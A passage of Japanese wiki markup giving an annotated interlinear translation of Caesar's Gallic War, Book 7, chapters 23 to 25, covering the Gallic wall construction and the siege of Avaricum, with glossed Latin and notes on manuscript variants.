**&lt;u&gt;これら&lt;/u&gt;が配置されて結び合わされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;u&gt;これら&lt;/u&gt; とは、上述の木材や石材のこと。）&lt;/span&gt;
*alius [[wikt:en:insuper#Latin|insuper]] [[wikt:en:ordo#Latin|ordo]] [[wikt:en:additur#Latin|additur]], 
**上に別の&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が付け加えられる。
*ut idem illud [[wikt:en:intervallum#Latin|intervallum]] [[wikt:en:servetur#Latin|servetur]], 
**その同じ&lt;small&gt;（2ペースの）&lt;/small&gt;間隔が保たれて、
*neque inter se [[wikt:en:contingant#Latin|contingant]] [[wikt:en:trabs#Latin|trabes]], 
**かつ&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が互いに接触しないように、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上下の層の水平材どうしが接触しないように、&lt;br&gt;　　　　互い違いに並べているようである。）&lt;/span&gt;
*sed [[wikt:en:par#Latin|paribus]] [[wikt:en:intermissus#Latin|intermissae]] [[wikt:en:spatium#Latin|spatiis]] [[wikt:en:singulus#Latin|singulae]] 
**けれども、等間隔で間をあけられたそれぞれ&lt;small&gt;（の木材）&lt;/small&gt;は、
*[[wikt:en:singulus#Latin|singulis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:interiectus#Latin|interiectis]] 
**それぞれの&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が間に挟まれることによって、
*[[wikt:en:arte#Adverb|arte]] [[wikt:en:contineantur#Latin|contineantur]]. 
**緊密に連結される。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sic [[wikt:en:deinceps#Latin|deinceps]] omne [[wikt:en:opus#Latin|opus]] [[wikt:en:contexitur#Latin|contexitur]], [[wikt:en:dum#Latin|dum]] [[wikt:en:iustus#Latin|iusta]] [[wikt:en:murus#Latin|muri]] [[wikt:en:altitudo#Latin|altitudo]] [[wikt:en:expleatur#Latin|expleatur]]. 
**このように、&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の十分な高さが満たされるまで、すべての&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が続けて組み立てられる。
[[画像:Bibracte_murus_gallicus1.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:ビブラクテ|ビブラクテ]]遺跡のケルト文明博物館）。この構造形式はカエサルの記述から「[[w:ムルス・ガリクス|ムルス・ガリクス]]（ガッリア壁）」と呼ばれるが、ガッリアに限らず、[[w:鉄器時代|鉄器時代]]末期すなわちBC1世紀頃の後期[[w:ラ・テーヌ文化|ラ・テーヌ文化]]が及んだ各地に遺構として残る。木材どうしを緊結するために数百トンもの[[w:鉄|鉄]]の[[w:釘|釘]]を用いているのが大きな特徴で、[[w:鉄#製錬|製鉄]]・[[w:鋳造|鋳造]]技術の発達を示す。]]
:　
;　　　ガッリア式城壁は、外観が見事で、城塞都市の防御にも有益
:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、cum ～ tum … の構文「～だけでなく、また…でもある」。）&lt;/span&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Hoc &lt;u&gt;cum&lt;/u&gt; in [[wikt:en:species#Latin|speciem]] [[wikt:en:varietas#Latin|varietatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|opus]] [[wikt:en:deformis#Latin|deforme]] non est [[wikt:en:alternus#Latin|alternis]] [[wikt:en:trabs#Latin|trabibus]] ac [[wikt:en:saxum#Latin|saxis]], 
**&lt;ruby&gt;&lt;rb&gt;この&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ホク&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、互い違いの&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により、変化に富む外観において不格好でなく、
*quae [[wikt:en:rectus#Latin|rectis]] [[wikt:en:linea#Latin|lineis]] suos [[wikt:en:ordo#Latin|ordines]] [[wikt:en:servant#Latin|servant]], 
**──それら&lt;small&gt;〔木材と石〕&lt;/small&gt;は真っ直ぐな線により、その&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を保っているのだが──
*&lt;u&gt;tum&lt;/u&gt; ad [[wikt:en:utilitas#Latin|utilitatem]] et [[wikt:en:defensio#Latin|defensionem]] [[wikt:en:urbs#Latin|urbium]] 
**同様に、都市の防御の有益性のためにも、
*summam [[wikt:en:habet#Latin|habet]] [[wikt:en:opportunitas#Latin|opportunitatem]], 
**きわめて好都合となっている。
*quod et ab [[wikt:en:incendio#Latin|incendio]] [[wikt:en:lapis#Latin|lapis]] et ab [[wikt:en:aries#Latin|ariete]] [[wikt:en:materia#Latin|materia]] [[wikt:en:defendit#Latin|defendit]], 
**──というのは、&lt;ruby&gt;&lt;rb&gt;石材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ラピス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が火災からも、&lt;ruby&gt;&lt;rb&gt;材木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;マーテリア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;[[w:破城槌|破城槌]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はじょうつい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からも、防護しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～でもあり、…でもある」）&lt;/span&gt;
*quae [[wikt:en:perpetuus#Latin|perpetuis]] [[wikt:en:trabs#Latin|trabibus]] [[wikt:en:pes#Latin|pedes]] [[wikt:en:quadragenus#Latin|quadragenos]] [[wikt:en:plerumque#Adverb|plerumque]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:revinctus#Latin|revincta]] 
**それ&lt;small&gt;〔短手方向の材木〕&lt;/small&gt;は、たいてい40&lt;u&gt;ペース&lt;/u&gt;にわたって&lt;small&gt;（長手方向に）&lt;/small&gt;続く&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により内部で緊結されており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、40ペースは約12メートル。）&lt;/span&gt;
*neque [[wikt:en:perrumpi#Latin|perrumpi]] neque [[wikt:en:distrahi#Latin|distrahi]] potest.
**突破されることも、引きはがされることもできないからである。──
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===24節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|350px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]&lt;small&gt;（[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）&lt;/small&gt;。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、城壁（奥）の手前に材木と土砂を積み重ねた構築物が築き上げられ、左右の土手道をそれぞれ4層の[[w:攻城塔|攻城櫓]]が城壁に迫る。土塁の周辺には&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）を多数つないだ通路（坑道）が延びている。手前には2台の&lt;ruby&gt;&lt;rb&gt;投射機&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が見える。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/24節]]　{{進捗|00%|2026-06-15}}&lt;/span&gt;
;ローマ勢が徹夜の土塁工事、籠城ガッリア勢の攻勢
:　
;　　　ローマ勢が、25日間で大がかりな攻城設備を構築する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:tot#Latin|tot]] rebus [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:oppugnatio#Latin|oppugnatione]] 
**これら多くの事情により攻囲が妨げられて、
*[[wikt:en:miles#Latin|milites]], 
**兵士たちは、
*cum [[wikt:en:totus#Etymology_1|toto]] tempore &lt;u&gt;luto&lt;/u&gt; [[wikt:en:frigus#Latin|frigore]] et [[wikt:en:adsiduus#Latin|adsiduis]] [[wikt:en:imber#Latin|imbribus]] &lt;u&gt;tardarentur&lt;/u&gt;, 
**常時、&lt;ruby&gt;&lt;rb&gt;&lt;u&gt;泥土&lt;/u&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ルトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、寒さと絶え間ない&lt;ruby&gt;&lt;rb&gt;雨嵐&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;イムベル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;によって遅らせられていたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:lutum#Latin|luto]] は、&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の二つ目は、&lt;br&gt;　　　　　　　　&amp;chi;系･&amp;beta;系写本では [[wikt:en:tardarentur#Latin|tardarentur]] だが、&lt;br&gt;　　　　　　　　写本B･M･Sでは traderentur、&lt;br&gt;　　　　　　　　写本L･Nでは terrerentur などとなっている。）&lt;/span&gt;
*tamen [[wikt:en:continens#Adjective|continenti]] [[wikt:en:labor#Latin|labore]] omnia haec [[wikt:en:superaverunt#Latin|superaverunt]] 
**しかしながら、絶え間ない労働によってこれらすべてに打ち克って、
*et diebus XXV&lt;small&gt; ([[wikt:en:quinque#Latin|quinque]] et [[wikt:en:viginti#Latin|viginti]])&lt;/small&gt; 
**25日間で、
*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:latus#Latin:_wide|latum]] [[wikt:en:pes#Latin|pedes]] CCCXXX&lt;small&gt; ([[wikt:en:trecenti#Latin|trecenti]] [[wikt:en:triginta#Latin|triginta]])&lt;/small&gt;, [[wikt:en:altus#Latin|altum]] pedes LXXX&lt;small&gt; ([[wikt:en:octoginta#Latin|octoginta]])&lt;/small&gt; [[wikt:en:exstruxerunt#Latin|exstruxerunt]]. 
**幅330&lt;u&gt;ペース&lt;/u&gt;、高さ80&lt;u&gt;ペース&lt;/u&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、幅330ペースは約98メートル。高さ80ペースは約24メートル。）&lt;/span&gt;
:　
;　　　アウァーリクムに籠城するガッリア勢が、攻囲するローマ勢の土塁に夜襲をしかける
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Cum is [[wikt:en:murus#Latin|murum]] hostium paene [[wikt:en:contingeret#Latin|contingeret]], 
**それ&lt;small&gt;〔ローマ側の土塁〕&lt;/small&gt;が敵の城壁にほとんど接しようとしていたとき、
*et Caesar ad [[wikt:en:opus#Latin|opus]] [[wikt:en:consuetudo#Latin|consuetudine]] [[wikt:en:excubaret#Latin|excubaret]] 
**かつ、カエサルが習慣により作業のそばで寝ずの番をしていて、
*[[wikt:en:miles#Latin|milites]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:hortaretur#Latin|hortaretur]], ne [[wikt:en:aliquod#Latin|quod]] [[wikt:en:omnino#Latin|omnino]] [[wikt:en:tempus#Latin|tempus]] ab [[wikt:en:opus#Latin|opere]] [[wikt:en:intermitteretur#Latin|intermitteretur]], 
**いかなる時も作業がまったく中断されないように、と兵士たちを励ましていたときに、
*paulo ante tertiam [[wikt:en:vigilia#Latin|vigiliam]] 
**第三夜警時の少し前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：第三夜警時は、真夜中から日の出までの時間帯の前半。「未明」&lt;br&gt;　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*est [[wikt:en:animadversus#Participle|animadversum]] [[wikt:en:fumo#Latin|fumare]] [[wikt:en:agger#Latin|aggerem]], 
**土塁に煙が上がっていることが気付かれた。
*quem [[wikt:en:cuniculus#Latin|cuniculo]] hostes [[wikt:en:succenderant#Latin|succenderant]]; 
**&lt;small&gt;（その土塁を）&lt;/small&gt;[[w:坑道|坑道]]によって敵たちが焼き討ちしていたものである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:idem#Latin|eodem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tempus#Latin|tempore]] 
**そして同時に、
*[[wikt:en:totus#Latin|toto]] [[wikt:en:murus#Latin|muro]] [[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Latin:_raised|sublato]], 
**&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁全体で雄叫びが上がって、
*duabus portis ab [[wikt:en:uterque#Latin|utroque]] [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:turris#Latin|turrium]] 
**二つの城門より、&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]の両方の側面から
*[[wikt:en:eruptio#Latin|eruptio]] [[wikt:en:fiebat#Latin|fiebat]].
**&lt;small&gt;（ガッリア勢による）&lt;/small&gt;突撃がなされていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Alii [[wikt:en:fax#Latin|faces]] atque [[wikt:en:aridus#Latin|aridam]] &lt;u&gt;materiam&lt;/u&gt; de [[wikt:en:murus#Latin|muro]] in [[wikt:en:agger#Latin|aggerem]] [[wikt:en:eminus#Latin|eminus]] [[wikt:en:iaciebant#Latin|iaciebant]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;他の者たちは、&lt;ruby&gt;&lt;rb&gt;[[w:たいまつ|松明]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たいまつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;および乾いた材木を、城壁から&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁に、遠くから投げ込んで、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:materiam#Latin|materiam]] だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:materiem#Latin|materiem]] となっている。&lt;br&gt;　　　　　　　　　文法学者[[w:カエサレアのプリスキアヌス|プリスキアーヌス]]は、カエサルの文法書 &quot;De Analogia&quot; について materiam と引用している。）&lt;/span&gt;
*[[wikt:en:pix#Latin|picem]] [[wikt:en:reliquus#Latin|reliquas]]&lt;nowiki&gt;que&lt;/nowiki&gt; res, quibus [[wikt:en:ignis#Latin|ignis]] [[wikt:en:excitari#Latin|excitari]] potest, [[wikt:en:fundebant#Latin|fundebant]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、火を燃え立たせられるほかのもの&lt;small&gt;〔可燃物〕&lt;/small&gt;を注ぎ込んだ。
*ut, [[wikt:en:quo#Latin:_where|quo]] primum &lt;u&gt;curreretur&lt;/u&gt; aut cui rei [[wikt:en:ferretur#Latin|ferretur]] [[wikt:en:auxilium#Latin|auxilium]], 
**それで、まずどこに駆け付けるのか、あるいはどの事態に支援がなされるのか、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:curreretur#Latin|curreretur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:occurreretur#Latin|occurreretur]] となっている。）&lt;/span&gt;
*vix [[wikt:en:ratio#Latin|ratio]] [[wikt:en:iniri#Latin|iniri]] posset. 
**&lt;small&gt;（ローマ兵には）&lt;/small&gt;ほとんど分別され得なかった。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Tamen, quod [[wikt:en:institutum#Latin|instituto]] Caesaris &lt;u&gt;semper duae&lt;/u&gt; [[wikt:en:legio#Latin|legiones]] pro [[wikt:en:castra#Latin|castris]] [[wikt:en:excubabant#Latin|excubabant]] 
**しかしながら、カエサルの定めにより常に2個[[w:ローマ軍団|軍団]]が陣営の前に寝ずの番をしていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順では semper duae だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順では duae semper となっている。）&lt;/span&gt;
*[[wikt:en:plus#Latin|plures]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:partitus#Latin|partitis]] [[wikt:en:tempus#Latin|temporibus]] erant in [[wikt:en:opus#Latin|opere]], 
**かつ、より多くの者たちが時間を割り当てられて作業していたので、
*celeriter [[wikt:en:factus#Latin|factum]] est, 
**&lt;small&gt;（防戦は）&lt;/small&gt;速やかになされた。
*ut &lt;u&gt;alii&lt;/u&gt; [[wikt:en:eruptio#Latin|eruptionibus]] [[wikt:en:resisterent#Latin|resisterent]], 
**ある者たちは&lt;small&gt;（ガッリア勢の）&lt;/small&gt;突撃に抵抗しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：alii ～ alii …「～する者もいれば、…する者もいる。」）&lt;/span&gt;
*&lt;u&gt;alii&lt;/u&gt; [[wikt:en:turris#Latin|turres]] [[wikt:en:reducerent#Latin|reducerent]] 
**別のある者たちは[[w:攻城塔|攻城櫓]]を引き戻して、
*[[wikt:en:agger#Latin|aggerem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:interscinderent#Latin|interscinderent]], 
**土塁を&lt;small&gt;（城壁側から）&lt;/small&gt;切り離していた。
*omnis vero ex [[wikt:en:castra#Latin|castris]] [[wikt:en:multitudo#Latin|multitudo]] ad [[wikt:en:restinguendum#Verb|restinguendum]] [[wikt:en:concurreret#Latin|concurreret]].
**さらに陣営から大勢の皆が、消火するために急ぎ集まっていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===25節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/25節]]　{{進捗|00%|2026-06-29}}&lt;/span&gt;
;籠城ガッリア勢が必死の防戦

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum in omnibus locis, &lt;u&gt;[[wikt:en:consumptus#Latin|consumpta]] iam reliqua parte noctis&lt;/u&gt;, [[wikt:en:pugnaretur#Latin|pugnaretur]], 
**&lt;u&gt;すでに夜も明けて&lt;/u&gt;、至る所で戦われていたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「すでに夜の残りの部分も費やされて」。）&lt;/span&gt;
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; hostibus [[wikt:en:spes#Latin|spes]] [[wikt:en:victoria#Latin|victoriae]] [[wikt:en:redintegraretur#Latin|redintegraretur]], 
**かつ、常に敵たちにとって勝利の希望が蘇っており、
*&lt;u&gt;eo magis, quod&lt;/u&gt; [[wikt:en:deustus#Latin|deustos]] [[wikt:en:pluteus#Latin|pluteos]] [[wikt:en:turris#Latin|turrium]] [[wikt:en:videbant#Latin|videbant]] nec facile [[wikt:en:adire#Latin|adire]] [[wikt:en:apertus#Latin|apertos]] ad [[wikt:en:auxiliandum#Verb|auxiliandum]]  [[wikt:en:animadvertebant#Latin|animadvertebant]], 
**&lt;span style=&quot;font-family:Times New Roman;font-size:11pt;&quot;&gt;[[w:攻城塔|攻城櫓]]の&lt;ruby&gt;&lt;rb&gt;障壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;プルテウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;焼き落された&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;デウストゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のを見ていて、&lt;ruby&gt;&lt;rb&gt;身を曝した者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アペルトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちが救援のために容易に近づけないのに気付いていた&lt;u&gt;のでなおさらだったが&lt;/u&gt;、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo magis quod|eo magis quod]] ～ 「～なので、その分だけ、より一層」。[[ガリア戦記 第3巻#14節|第3巻14節]]も参照。）&lt;/span&gt; 
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; ipsi [[wikt:en:recens#Adjective|recentes]] [[wikt:en:defessus#Latin|defessis]] [[wikt:en:succederent#Latin|succederent]] 
**常に彼ら自身&lt;small&gt;〔籠城ガッリア勢〕&lt;/small&gt;は新たな者たちが疲れ果てた者たちに交代しており、
*[[wikt:en:omnis#Latin|omnem]]&lt;nowiki&gt;que&lt;/nowiki&gt; Galliae [[wikt:en:salus#Latin|salutem]] &lt;u&gt;in illo [[wikt:en:vestigium#Latin|vestigio]] temporis [[wikt:en:positus#Participle|positam]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt;&lt;/u&gt; [[wikt:en:arbitrarentur#Latin|arbitrarentur]], 
**ガッリアのすべての安全が、&lt;u&gt;その瞬間にかかっている&lt;/u&gt;と思われていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「その時の足跡（瞬間）に置かれている」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以上の cum ～ arbitrarentur, が状況や理由を説明する副文で、以下が主文となっている。）&lt;/span&gt;
*[[wikt:en:accidit#Etymology_1|accidit]] [[wikt:en:inspectans#Latin|inspectantibus]] nobis, 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が見ているなかで起こったのは、
*[[wikt:en:quod#Pronoun|quod]] [[wikt:en:dignus#Latin|dignum]] [[wikt:en:memoria#Latin|memoria]] [[wikt:en:visus#Participle|visum]] [[wikt:en:praetereundus#Latin|praetereundum]] non [[wikt:en:existimavimus#Latin|existimavimus]]. 
**記憶に値すると思われたことを&lt;small&gt;（我がローマ勢が）&lt;/small&gt;見過ごすべきではないと考えていたことである。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この主文の主語を省略せずに記せば、以下のようになる。&lt;br&gt;　　　　[id], quod dignum memoria visum [esse] praetereundum [esse] non existimavimus.）&lt;/span&gt;

[[画像:048_Conrad_Cichorius,_Die_Reliefs_der_Traianssäule,_Tafel_XLVIII_(Ausschnitt 01).jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を操作する[[w:ダキア人|ダキア人]]の彫刻（[[w:トラヤヌスの記念柱|トラヤヌス帝の記念柱]]に刻まれた[[w:レリーフ|レリーフ]]）。]]
[[画像:Balliste_fireing.jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（[[w:en:Scorpio (dart-thrower)|Scorpio]]）の現代における復元。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quidam#Determiner|Quidam]] ante portam oppidi [[wikt:en:Gallus#Noun|Gallus]], &lt;u&gt;qui&lt;/u&gt; 
**城塞都市の城門の前にいた、ある&lt;small&gt;（1人の）&lt;/small&gt;ガッリア人が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の qui は、&amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*per [[wikt:en:manus#Latin:_hand|manus]] [[wikt:en:sebum#Latin|sebi]] ac [[wikt:en:pix#Latin|picis]] [[wikt:en:traditus#Participle|traditas]] [[wikt:en:glaeba#Latin|glaebas]] 
**手から手へと渡された&lt;ruby&gt;&lt;rb&gt;獣脂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;セーブム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の塊を、
*in [[wikt:en:ignis#Latin|ignem]] &lt;u&gt;e regione&lt;/u&gt; turris [[wikt:en:proiciebat#Latin|proiciebat]]: 
**攻城櫓の正面にある火炎の中に投げ込んでいたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*[[wikt:en:scorpio#Latin|scorpione]] ab [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:dexter#Latin|dextro]] [[wikt:en:traiectus#Participle|traiectus]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で右の横腹を射られて、
